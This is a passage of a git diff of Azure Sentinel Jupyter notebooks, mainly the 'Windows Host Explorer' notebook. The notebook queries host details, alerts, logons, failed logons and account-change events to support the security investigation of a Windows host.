"kernel_info": { + "name": "python38-azureml" + }, + "varInspector": { + "cols": { + "lenName": 16, + "lenType": 16, + "lenVar": 40 + }, + "kernels_config": { + "python": { + "delete_cmd_postfix": "", + "delete_cmd_prefix": "del ", + "library": "var_list.py", + "varRefreshCmd": "print(var_dic_list())" + }, + "r": { + "delete_cmd_postfix": ") ", + "delete_cmd_prefix": "rm(", + "library": "var_list.r", + "varRefreshCmd": "cat(var_dic_list()) " + } + }, + "types_to_exclude": [ + "module", + "function", + "builtin_function_or_method", + "instance", + "_Feature" + ], + "window_display": false + }, + "latex_envs": { + "report_style_numbering": false, + "hotkeys": { + "equation": "Ctrl-E", + "itemize": "Ctrl-I" + }, + "LaTeX_envs_menu_present": true, + "autocomplete": true, + "autoclose": false, + "eqNumInitial": 1, + "bibliofile": "biblio.bib", + "latex_user_defs": false, + "current_citInitial": 1, + "eqLabelWithNumbers": true, + "labels_anchors": false, + "cite_by": "apalike", + "user_envs_cfg": false + }, + "language_info": { + "name": "python", + "version": "3.8.1", + "mimetype": "text/x-python", + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "pygments_lexer": "ipython3", + "nbconvert_exporter": "python", + "file_extension": ".py" + }, + "kernelspec": { + "name": "python38-azureml", + "language": "python", + "display_name": "Python 3.8 - AzureML" + }, + "celltoolbar": "Attachments", + "nteract": { + "version": "nteract-front-end@1.0.0" + } + }, + "nbformat": 4, + "nbformat_minor": 4 } \ No newline at end of file diff --git a/Entity Explorer - Windows Host.ipynb b/Entity Explorer - Windows Host.ipynb index aa0aae4..c26f98e 100644 --- a/Entity Explorer - Windows Host.ipynb +++ b/Entity Explorer - Windows Host.ipynb @@ -1,1993 +1,2208 @@ { - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - " # Windows Host Explorer\n", - "
\n", - "  Details...\n", - "\n", - " **Notebook Version:** 1.0
\n", - " **Python Version:** Python 3.6 (including Python 3.6 - AzureML)
\n", - " **Required Packages**: kqlmagic, msticpy, pandas, numpy, matplotlib, bokeh, networkx, ipywidgets, ipython, scikit_learn, dnspython, ipwhois, folium, maxminddb_geolite2
\n", - " **Platforms Supported**:\n", - " - Azure Notebooks Free Compute\n", - " - Azure Notebooks DSVM\n", - " - OS Independent\n", - "\n", - " **Data Sources Required**:\n", - " - Log Analytics - SecurityAlert, SecurityEvent (EventIDs 4688 and 4624/25), AzureNetworkAnalytics_CL, Heartbeat\n", - " - (Optional) - VirusTotal, AlienVault OTX, IBM XForce, Open Page Rank, (all require accounts and API keys)\n", - "
\n", - "\n", - " Brings together a series of queries and visualizations to help you determine the security state of the Windows host or virtual machine that you are investigating.\n" - ] - }, - { - "cell_type": "markdown", - "metadata": { - "toc": true - }, - "source": [ - "

Contents

\n", - "
" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "---\n", - "### Notebook initialization\n", - "The next cell:\n", - "- Checks for the correct Python version\n", - "- Checks versions and optionally installs required packages\n", - "- Imports the required packages into the notebook\n", - "- Sets a number of configuration options.\n", - "\n", - "This should complete without errors. If you encounter errors or warnings look at the following two notebooks:\n", - "- [TroubleShootingNotebooks](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/TroubleShootingNotebooks.ipynb)\n", - "- [ConfiguringNotebookEnvironment](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)\n", - "\n", - "If you are running in the Azure Sentinel Notebooks environment (Azure Notebooks or Azure ML) you can run live versions of these notebooks:\n", - "- [Run TroubleShootingNotebooks](./TroubleShootingNotebooks.ipynb)\n", - "- [Run ConfiguringNotebookEnvironment](./ConfiguringNotebookEnvironment.ipynb)\n", - "\n", - "You may also need to do some additional configuration to successfully use functions such as Threat Intelligence service lookup and Geo IP lookup. \n", - "There are more details about this in the `ConfiguringNotebookEnvironment` notebook and in these documents:\n", - "- [msticpy configuration](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html)\n", - "- [Threat intelligence provider configuration](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html#configuration-file)\n" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "from pathlib import Path\n", - "from IPython.display import display, HTML\n", - "\n", - "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(1, 0, 0)\n", - "REQ_MP_EXTRAS = [\"ml\"]\n", - "\n", - "display(HTML(\"

Starting Notebook setup...

\"))\n", - "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_versions\n", - " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n", - "\n", - "# If not using Azure Notebooks, install msticpy with\n", - "# !pip install msticpy\n", - "\n", - "from msticpy.nbtools import nbinit\n", - "nbinit.init_notebook(\n", - " namespace=globals(),\n", - " extra_imports=[\"ipwhois, IPWhois\"]\n", - ");" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Get WorkspaceId and Authenticate to Azure Sentinel\n", - "
\n", - "Details...\n", - "If you are using user/device authentication, run the following cell.\n", - " - Click the 'Copy code to clipboard and authenticate' button.\n", - " - This will pop up an Azure Active Directory authentication dialog (in a new tab or browser window). The device code will have been copied to the clipboard.\n", - " - Select the text box and paste (Ctrl-V/Cmd-V) the copied value.\n", - " - You should then be redirected to a user authentication page where you should authenticate with a user account that has permission to query your Log Analytics workspace.\n", - "\n", - " Use the following syntax if you are authenticating using an Azure Active Directory AppId and Secret:\n", - " ```\n", - " %kql loganalytics://tenant(aad_tenant).workspace(WORKSPACE_ID).clientid(client_id).clientsecret(client_secret)\n", - " ```\n", - " instead of\n", - " ```\n", - " %kql loganalytics://code().workspace(WORKSPACE_ID)\n", - " ```\n", - "\n", - "**Note:** you may occasionally see a JavaScript error displayed at the end of the authentication - you can safely ignore this.
\n", - "\n", - "On successful authentication you should see a ```popup schema``` button.\n", - "To find your Workspace Id go to [Log Analytics](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces). Look at the workspace properties to find the ID.\n", - "
" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# See if we have an Azure Sentinel Workspace defined in our config file.\n", - "# If not, let the user specify Workspace and Tenant IDs\n", - "\n", - "ws_config = WorkspaceConfig()\n", - "if not ws_config.config_loaded:\n", - " ws_config.prompt_for_ws()\n", - " \n", - "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n", - "print(\"done\")" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# Authenticate to Azure Sentinel workspace\n", - "qry_prov.connect(ws_config)\n", - "table_index = qry_prov.schema_tables" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Authentication and Configuration Problems\n", - "\n", - "
\n", - "
\n", - " Click for details about configuring your authentication parameters\n", - " \n", - " \n", - "The notebook is expecting your Azure Sentinel Tenant ID and Workspace ID to be configured in one of the following places:\n", - "- `config.json` in the current folder\n", - "- `msticpyconfig.yaml` in the current folder or location specified by `MSTICPYCONFIG` environment variable.\n", - " \n", - "For help with setting up your `config.json` file (if this hasn't been done automatically) see the [`ConfiguringNotebookEnvironment`](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb) notebook in the root folder of your Azure-Sentinel-Notebooks project. This shows you how to obtain your Workspace and Subscription IDs from the Azure Sentinel Portal. You can use the SubscriptionID to find your Tenant ID). To view the current `config.json` run the following in a code cell.\n", - "\n", - "```%pfile config.json```\n", - "\n", - "For help with setting up your `msticpyconfig.yaml` see the [Setup](#Setup) section at the end of this notebook and the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)\n", - "
" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#Contents)\n", - " # Search for a Host name and query host properties" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "host_text = widgets.Text(\n", - " description=\"Enter the Host name to search for:\", **WIDGET_DEFAULTS\n", - ")\n", - "display(host_text)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "query_times = nbwidgets.QueryTime(units=\"day\", max_before=20, before=5, max_after=1)\n", - "query_times.display()" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# Get single event - try process creation\n", - "if \"SecurityEvent\" not in table_index:\n", - " raise ValueError(\"No Windows event log data available in the workspace\")\n", - "host_name = None\n", - "matching_hosts_df = qry_prov.WindowsSecurity.list_host_processes(\n", - " query_times, host_name=host_text.value.strip(), add_query_items=\"| distinct Computer\"\n", - ")\n", - "if len(matching_hosts_df) > 1:\n", - " print(f\"Multiple matches for '{host_text.value}'. Please select a host from the list.\")\n", - " choose_host = nbwidgets.SelectItem(\n", - " item_list=list(matching_hosts_df[\"Computer\"].values),\n", - " description=\"Select the host.\",\n", - " auto_display=True,\n", - " )\n", - "elif not matching_hosts_df.empty:\n", - " host_name = matching_hosts_df[\"Computer\"].iloc[0]\n", - " print(f\"Unique host found: {host_name}\")\n", - "else:\n", - " print(f\"Host not found: {host_text.value}\")" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "if not host_name:\n", - " host_name = choose_host.value\n", - "\n", - "host_entity = None\n", - "if not matching_hosts_df.empty:\n", - " host_entity = entities.Host(src_event=matching_hosts_df[matching_hosts_df[\"Computer\"] == host_name].iloc[0])\n", - "if not host_entity:\n", - " raise LookupError(f\"Could not find Windows events the name {host_name}\")\n", - "\n", - "def populate_heartbeat_details(host_hb_df, host_entity=None):\n", - " if not host_hb_df.empty:\n", - " host_hb = host_hb_df.iloc[0]\n", - " if not host_entity:\n", - " host_entity = entities.Host(host_hb[\"Computer\"])\n", - " host_entity.SourceComputerId = host_hb[\"SourceComputerId\"]\n", - " host_entity.OSType = host_hb[\"OSType\"]\n", - " host_entity.OSMajorVersion = host_hb[\"OSMajorVersion\"]\n", - " host_entity.OSMinorVersion = host_hb[\"OSMinorVersion\"]\n", - " host_entity.ComputerEnvironment = host_hb[\"ComputerEnvironment\"]\n", - " host_entity.ResourceId = host_hb[\"ResourceId\"]\n", - " host_entity.OmsSolutions = [\n", - " sol.strip() for sol in host_hb[\"Solutions\"].split(\",\")\n", - " ]\n", - " host_entity.VMUUID = host_hb[\"VMUUID\"]\n", - "\n", - " ip_entity = entities.IpAddress()\n", - " ip_entity.Address = host_hb[\"ComputerIP\"]\n", - " geoloc_entity = entities.GeoLocation()\n", - " geoloc_entity.CountryName = host_hb[\"RemoteIPCountry\"]\n", - " geoloc_entity.Longitude = host_hb[\"RemoteIPLongitude\"]\n", - " geoloc_entity.Latitude = host_hb[\"RemoteIPLatitude\"]\n", - " ip_entity.Location = geoloc_entity\n", - " host_entity.IPAddress = ip_entity # TODO change to graph edge\n", - " return host_entity\n", - "\n", - "def convert_to_ip_entities(ip_str):\n", - " \n", - " ip_entities = []\n", - " if ip_str:\n", - " if \",\" in ip_str:\n", - " addrs = ip_str.split(\",\")\n", - " elif \" \" in ip_str:\n", - " addrs = ip_str.split(\" \")\n", - " else:\n", - " addrs = [ip_str]\n", - " for addr in addrs:\n", - " ip_entity = entities.IpAddress()\n", - " ip_entity.Address = addr.strip()\n", - " if iplocation:\n", - " iplocation.lookup_ip(ip_entity=ip_entity)\n", - " ip_entities.append(ip_entity)\n", - " return ip_entities\n", - "\n", - "# Add this information to our inv_host_entity\n", - "def populate_host_aznet_ips(az_net_df, host_entity):\n", - " retrieved_address = []\n", - " if len(az_net_df) == 1:\n", - " host_entity.private_ips = convert_to_ip_entities(\n", - " az_net_df[\"PrivateIPAddresses\"].iloc[0]\n", - " )\n", - " host_entity.public_ips = convert_to_ip_entities(\n", - " az_net_df[\"PublicIPAddresses\"].iloc[0]\n", - " )\n", - " retrieved_address = [ip.Address for ip in host_entity.public_ips]\n", - " else:\n", - " if \"private_ips\" not in host_entity:\n", - " host_entity.private_ips = []\n", - " if \"public_ips\" not in host_entity:\n", - " host_entity.public_ips = []\n", - "\n", - "\n", - "iplocation = None\n", - "try:\n", - " iplocation = GeoLiteLookup()\n", - "except:\n", - " md(\n", - " \"Warning - could not create GeoLiteLookup\"\n", - " + \" - location details will not be retrieved\",\n", - " \"red, bold\"\n", - " )\n", - "\n", - "# Try to get an OMS Heartbeat for this computer\n", - "if \"Heartbeat\" in table_index:\n", - " print(f\"Looking for {host_name} in OMS Heartbeat data...\")\n", - " host_hb_df = qry_prov.Network.get_heartbeat_for_host(host_name=host_name)\n", - " host_entity = populate_heartbeat_details(host_hb_df, host_entity)\n", - "\n", - "if \"AzureNetworkAnalytics_CL\" in table_index:\n", - " print(f\"Looking for {host_name} IP addresses in network flows...\")\n", - " az_net_df = qry_prov.Network.get_ips_for_host(host_name=host_name)\n", - " populate_host_aznet_ips(az_net_df, host_entity)\n", - "\n", - "md(\"Host Details\", \"bold\")\n", - "display(host_entity)\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#Contents)\n", - " # Related Alerts\n", - " Look for any related alerts around this time." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "ra_query_times = nbwidgets.QueryTime(\n", - " units=\"day\",\n", - " origin_time=query_times.origin_time,\n", - " max_before=28,\n", - " max_after=5,\n", - " before=5,\n", - " auto_display=True,\n", - ")" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "\n", - "related_alerts = qry_prov.SecurityAlert.list_related_alerts(\n", - " ra_query_times, host_name=host_entity.HostName\n", - ")\n", - "\n", - "def print_related_alerts(alertDict, entityType, entityName):\n", - " if len(alertDict) > 0:\n", - " display(\n", - " Markdown(\n", - " f\"### Found {len(alertDict)} different alert types related to this {entityType} (`{entityName}`)\"\n", - " )\n", - " )\n", - " for (k, v) in alertDict.items():\n", - " print(f\"- {k}, # Alerts: {v}\")\n", - " else:\n", - " print(f\"No alerts for {entityType} entity `{entityName}`\")\n", - "\n", - "\n", - "if isinstance(related_alerts, pd.DataFrame) and not related_alerts.empty:\n", - " host_alert_items = (\n", - " related_alerts[[\"AlertName\", \"TimeGenerated\"]]\n", - " .groupby(\"AlertName\")\n", - " .TimeGenerated.agg(\"count\")\n", - " .to_dict()\n", - " )\n", - " print_related_alerts(host_alert_items, \"host\", host_entity.HostName)\n", - " if len(host_alert_items) > 1:\n", - " nbdisplay.display_timeline(\n", - " data=related_alerts, title=\"Alerts\", source_columns=[\"AlertName\"], height=200\n", - " )\n", - " elif len(host_alert_items) == 1:\n", - " md(\"Only one alert found - view the details in the browser below.\")\n", - "else:\n", - " display(Markdown(\"No related alerts found.\"))\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - " ## Browse List of Related Alerts\n", - " Select an Alert to view details" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "def disp_full_alert(alert):\n", - " global related_alert\n", - " related_alert = SecurityAlert(alert)\n", - " return nbdisplay.format_alert(related_alert, show_entities=True)\n", - "\n", - "recenter_wgt = widgets.Checkbox(\n", - " value=True,\n", - " description='Center subsequent query times round selected Alert?',\n", - " disabled=False,\n", - " **WIDGET_DEFAULTS\n", - ")\n", - "if related_alerts is not None and not related_alerts.empty:\n", - " related_alerts[\"CompromisedEntity\"] = related_alerts[\"Computer\"]\n", - " display(Markdown(\"### Click on alert to view details.\"))\n", - " display(recenter_wgt)\n", - " rel_alert_select = nbwidgets.SelectAlert(\n", - " alerts=related_alerts,\n", - " action=disp_full_alert,\n", - " )\n", - " rel_alert_select.display()\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#toc)\n", - " # Host Logons\n", - " This section looks at successful and failed logons on the host." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# set the origin time to the time of our alert\n", - "origin_time = (related_alert.TimeGenerated \n", - " if recenter_wgt.value \n", - " else query_times.origin_time)\n", - "logon_query_times = nbwidgets.QueryTime(\n", - " units=\"day\",\n", - " origin_time=origin_time,\n", - " before=5,\n", - " after=1,\n", - " max_before=20,\n", - " max_after=20,\n", - ")\n", - "logon_query_times.display()\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Successful Logons - Timeline and LogonType breakdown" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "host_logons = qry_prov.WindowsSecurity.list_host_logons(\n", - " logon_query_times, host_name=host_entity.HostName\n", - ")\n", - "\n", - "if host_logons is not None and not host_logons.empty:\n", - " display(Markdown(\"### Logon timeline.\"))\n", - " tooltip_cols = [\n", - " \"TargetUserName\",\n", - " \"TargetDomainName\",\n", - " \"SubjectUserName\",\n", - " \"SubjectDomainName\",\n", - " \"LogonType\",\n", - " \"IpAddress\",\n", - " ]\n", - " nbdisplay.display_timeline(\n", - " data=host_logons,\n", - " group_by=\"TargetUserName\",\n", - " source_columns=tooltip_cols,\n", - " legend=\"right\", yaxis=True\n", - " )\n", - "\n", - " display(Markdown(\"### Counts of logon events by logon type.\"))\n", - " display(Markdown(\"Min counts for each logon type highlighted.\"))\n", - " logon_by_type = (\n", - " host_logons[[\"Account\", \"LogonType\", \"EventID\"]]\n", - " .astype({'LogonType': 'int32'})\n", - " .merge(right=pd.Series(data=nbdisplay._WIN_LOGON_TYPE_MAP, name=\"LogonTypeDesc\"),\n", - " left_on=\"LogonType\", right_index=True)\n", - " .drop(columns=\"LogonType\")\n", - " .groupby([\"Account\", \"LogonTypeDesc\"])\n", - " .count()\n", - " .unstack()\n", - " .rename(columns={\"EventID\": \"LogonCount\"})\n", - " .fillna(0)\n", - " .style\n", - " .background_gradient(cmap=\"viridis\", low=0.5, high=0)\n", - " .format(\"{0:0>3.0f}\")\n", - " )\n", - " display(logon_by_type)\n", - "else:\n", - " display(Markdown(\"No logon events found for host.\"))\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - " [Contents](#toc)\n", - " ## Failed Logons" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "failedLogons = qry_prov.WindowsSecurity.list_host_logon_failures(\n", - " logon_query_times, host_name=host_entity.HostName\n", - ")\n", - "if failedLogons.empty:\n", - " print(\"No logon failures recorded for this host between \",\n", - " f\" {logon_query_times.start} and {logon_query_times.end}\"\n", - " )\n", - "else:\n", - " nbdisplay.display_timeline(\n", - " data=host_logons.query('TargetLogonId != \"0x3e7\"'),\n", - " overlay_data=failedLogons,\n", - " alert=related_alert,\n", - " title=\"Logons (blue=user-success, green=failed)\",\n", - " source_columns=tooltip_cols,\n", - " height=200,\n", - " )\n", - " display(\n", - " failedLogons\n", - " .astype({'LogonType': 'int32'})\n", - " .merge(\n", - " right=pd.Series(data=nbdisplay._WIN_LOGON_TYPE_MAP, name=\"LogonTypeDesc\"),\n", - " left_on=\"LogonType\", right_index=True\n", - " )\n", - " [['Account', 'EventID', 'TimeGenerated',\n", - " 'Computer', 'SubjectUserName', 'SubjectDomainName',\n", - " 'TargetUserName', 'TargetDomainName',\n", - " 'LogonTypeDesc','IpAddress', 'WorkstationName'\n", - " ]]\n", - " )\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Accounts With Failed And Successful Logons\n", - "This query joins failed and successful logons for the same account name. Multiple logon failures followed by a sucessful logon might indicate attempts to guess or probe the user password." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "if not failedLogons.empty:\n", - " combined = pd.concat([failedLogons,\n", - " host_logons[host_logons[\"TargetUserName\"]\n", - " .isin(failedLogons[\"TargetUserName\"]\n", - " .drop_duplicates())]])\n", - " display(combined.head())\n", - " combined[\"LogonStatus\"] = combined.apply(lambda x: \"Failed\" if x.EventID == 4625 else \"Success\", axis=1)\n", - " nbdisplay.display_timeline(data=combined,\n", - " group_by=\"LogonStatus\",\n", - " source_columns=[\"TargetUserName\", \"LogonType\", \"SubjectUserName\", \"TargetLogonId\"],\n", - " legend=\"inline\",\n", - " yaxis=True,\n", - " height=200)\n", - " display(combined.sort_values(\"TimeGenerated\"))\n", - "else:\n", - " md(f\"No logon failures recorded for this host between {logon_query_times.start} and {logon_query_times.end}\") " - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#Contents)\n", - "# Other Security Events\n", - " It's often useful to look at what other events were being logged\n", - " at the time of the attack.\n", - " \n", - " We show events here grouped by Account. Things to look for are:\n", - " \n", - " - Unexpected events that change system security such as the addition of accounts or services\n", - " - Event types that occur for only a single account - especially if there are a lot of event types only executed by a single account." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "md(f\"Collecting Windows Event Logs for {host_entity.HostName}, this may take a few minutes...\")\n", - "\n", - "all_events_df = qry_prov.WindowsSecurity.list_host_events(\n", - " logon_query_times,\n", - " host_name=host_entity.HostName,\n", - " add_query_items=\"| where EventID != 4688 and EventID != 4624\",\n", - ")\n", - "\n", - "if not isinstance(all_events_df, pd.DataFrame):\n", - " raise ValueError(\"Event query failed. Please retry with a smaller time range.\")\n", - "\n", - "# Create a pivot of Event vs. Account\n", - "win_events_acc = all_events_df[[\"Account\", \"Activity\", \"TimeGenerated\"]].copy()\n", - "win_events_acc = win_events_acc.replace(\"-\\\\-\", \"No Account\").replace(\n", - " {\"Account\": \"\"}, value=\"No Account\"\n", - ")\n", - "win_events_acc[\"Account\"] = win_events_acc.apply(lambda x: x.Account.split(\"\\\\\")[-1], axis=1)\n", - "event_pivot = (\n", - " pd.pivot_table(\n", - " win_events_acc,\n", - " values=\"TimeGenerated\",\n", - " index=[\"Activity\"],\n", - " columns=[\"Account\"],\n", - " aggfunc=\"count\",\n", - " )\n", - " .fillna(0)\n", - " .reset_index()\n", - ")\n", - "\n", - "md(\"Yellow highlights indicate account with highest event count\")\n", - "with pd.option_context('display.precision', 0):\n", - " display(\n", - " event_pivot.style\n", - " .applymap(lambda x: \"color: white\" if x == 0 else \"\")\n", - " .applymap(\n", - " lambda x: \"background-color: lightblue\"\n", - " if not isinstance(x, str) and x > 0\n", - " else \"\"\n", - " )\n", - " .set_properties(subset=[\"Activity\"], **{\"width\": \"400px\", \"text-align\": \"left\"})\n", - " .highlight_max(axis=1)\n", - " .hide_index()\n", - " )\n", - "\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Parse Event Data for Selected Events\n", - "For events that you want to look at in more detail you can parse out the full EventData field (containing all fields of the original event). The `parse_event_data` function below does that - transforming the EventData XML into a dictionary of property/value pairs). The `expand_event_properties` function takes this dictionary and transforms into columns in the output DataFrame.\n", - "\n", - "
\n", - "
\n", - "  More details...\n", - "You can do this for multiple event types in a single pass but, dependng on the schema of each event you may end up with a lot of sparsely populated columns. E.g. suppose EventID 1 has EventData fields A, B and C and EventID 2 has fields A, D, E. If you parse both IDs you'll will end up with a DataFrame with columns A, B, C, D and E with contents populated only for the rows that with corresponding data.\n", - "\n", - "We recommend that you process batches of related event types (e.g. all user account change events) that have similar sets of fields to keep the output DataFrame manageable.\n", - "
" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# Function to convert EventData XML into dictionary and\n", - "# populate columns into DataFrame from previous query result\n", - "import xml.etree.ElementTree as ET\n", - "from xml.etree.ElementTree import ParseError\n", - "\n", - "SCHEMA = \"http://schemas.microsoft.com/win/2004/08/events/event\"\n", - "\n", - "\n", - "def parse_event_data(row):\n", - " try:\n", - " xdoc = ET.fromstring(row.EventData)\n", - " col_dict = {\n", - " elem.attrib[\"Name\"]: elem.text for elem in xdoc.findall(f\"{{{SCHEMA}}}Data\")\n", - " }\n", - " reassigned = set()\n", - " for k, v in col_dict.items():\n", - " if k in row and not row[k]:\n", - " row[k] = v\n", - " reassigned.add(k)\n", - " if reassigned:\n", - " # print('Reassigned: ', ', '.join(reassigned))\n", - " for k in reassigned:\n", - " col_dict.pop(k)\n", - " return col_dict\n", - " except (ParseError, TypeError):\n", - " return None\n", - "\n", - "\n", - "# Parse event properties into a dictionary\n", - "all_events_df[\"EventProperties\"] = all_events_df.apply(parse_event_data, axis=1)\n", - "\n", - "# For a specific event ID you can explode the EventProperties values into their own columns\n", - "# using this function. You can do this for the whole data set but it will result\n", - "# in a lot of sparse columns in the output data frame\n", - "def expand_event_properties(input_df):\n", - " exp_df = input_df.apply(lambda x: pd.Series(x.EventProperties), axis=1)\n", - " return (\n", - " exp_df.drop(set(input_df.columns).intersection(exp_df.columns), axis=1)\n", - " .merge(\n", - " input_df.drop(\"EventProperties\", axis=1),\n", - " how=\"inner\",\n", - " left_index=True,\n", - " right_index=True,\n", - " )\n", - " .replace(\"\", np.nan) # these 3 lines get rid of blank columns\n", - " .dropna(axis=1, how=\"all\")\n", - " .fillna(\"\")\n", - " )\n", - "\n", - "\n", - "display(\n", - " expand_event_properties(all_events_df[all_events_df[\"EventID\"] == 4724]).head(2)\n", - ")\n", - "\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Account Change Events - Timeline\n", - "Here we want to focus on a some specific subcategories of events. Attackers commonly try to add or change user accounts and group memberships. We also include events related to addition or change of scheduled tasks and Windows services. " - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# Get a full list of Windows Security Events\n", - "import pkgutil\n", - "import os\n", - "w_evt = pkgutil.get_data(\"msticpy\", f\"resources{os.sep}WinSecurityEvent.json\")\n", - "win_event_df = pd.read_json(w_evt)\n", - "\n", - "# Create criteria for events that we're interested in\n", - "acct_sel = win_event_df[\"subcategory\"] == \"User Account Management\"\n", - "group_sel = win_event_df[\"subcategory\"] == \"Security Group Management\"\n", - "schtask_sel = (win_event_df[\"subcategory\"] == \"Other Object Access Events\") & (\n", - " win_event_df[\"description\"].str.contains(\"scheduled task\")\n", - ")\n", - "\n", - "event_list = win_event_df[acct_sel | group_sel | schtask_sel][\"event_id\"].to_list()\n", - "# Add Service install event\n", - "event_list.append(7045)\n", - "\n", - "# Plot events on a timeline\n", - "p = nbdisplay.display_timeline(\n", - " data=all_events_df[all_events_df[\"EventID\"].isin(event_list)],\n", - " group_by=\"EventID\",\n", - " source_columns=[\"Activity\", \"Account\"],\n", - " legend=\"right\",\n", - ")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Show Details of Selected Events\n", - "From the above data - pick which event types you want to view (by default, all are selected).\n", - "The second cell will display the event types selected." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# populate actual events IDs to select from\n", - "recorded_events = (all_events_df['EventID']\n", - " [all_events_df[\"EventID\"]\n", - " .isin(event_list)].drop_duplicates().values)\n", - "event_subset = win_event_df[win_event_df[\"event_id\"].isin(event_list)\n", - " & win_event_df[\"event_id\"].isin(recorded_events)]\n", - "items = list(event_subset.apply(lambda x: (x.full_desc, x.event_id), axis=1).values)\n", - "ss = nbwidgets.SelectSubset(\n", - " items,\n", - " default_selected=items\n", - ")" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "col_names = ['TimeGenerated', 'Account', 'AccountType',\n", - " 'Computer', 'EventID', 'Activity', 'SubjectAccount',\n", - " 'SubjectDomainName', 'SubjectLogonId', 'SubjectUserName',\n", - " 'TargetAccount', 'TargetDomainName', 'TargetSid', 'TargetUserName']\n", - "display(\n", - " all_events_df[all_events_df[\"EventID\"].isin(ss.selected_values)]\n", - " [col_names]\n", - " .replace(to_replace=\"\", value=np.NAN)\n", - " .dropna(axis=1, how=\"all\")\n", - ")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "[Contents](#Contents)\n", - "# Examine Logon Sessions\n", - "Looking at characteristics and activity of individual logon sessions is an effective way of spottting clusters of attacker activity.\n", - "\n", - "The biggest problem is deciding which logon sessions are the ones to look at. We may already have some indicators of sessions that we want to examine from earlier sections:\n", - "\n", - "- Accounts that experienced a series of failed logons followed by successful logons [see](#Accounts With Failed And Successful Logons)\n", - "- Accounts that triggered unexpected events [see](#Show-Timeline-of-Account-Change-Events)\n", - "\n", - "In this section we use clustering to collapse repetive logons and show details of the distinct logon patterns\n", - "\n", - " ## Browse logon account details" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "from msticpy.sectools.eventcluster import (\n", - " dbcluster_events,\n", - " add_process_features,\n", - " _string_score,\n", - ")\n", - "\n", - "if host_logons is None or host_logons.empty:\n", - " display(Markdown(\"No host logons recorded. This section cannot be run.\"))\n", - " raise ValueError(\"aborted\")\n", - "\n", - "# Set up clustering features and run DBScan clustering\n", - "logon_features = host_logons.copy()\n", - "logon_features[\"AccountNum\"] = host_logons.apply(\n", - " lambda x: _string_score(x.Account), axis=1\n", - ")\n", - "logon_features[\"TargetUserNum\"] = host_logons.apply(\n", - " lambda x: _string_score(x.TargetUserName), axis=1\n", - ")\n", - "logon_features[\"LogonHour\"] = host_logons.apply(lambda x: x.TimeGenerated.hour, axis=1)\n", - "\n", - "# you might need to play around with the max_cluster_distance parameter.\n", - "# decreasing this gives more clusters.\n", - "(clus_logons, _, _) = dbcluster_events(\n", - " data=logon_features,\n", - " 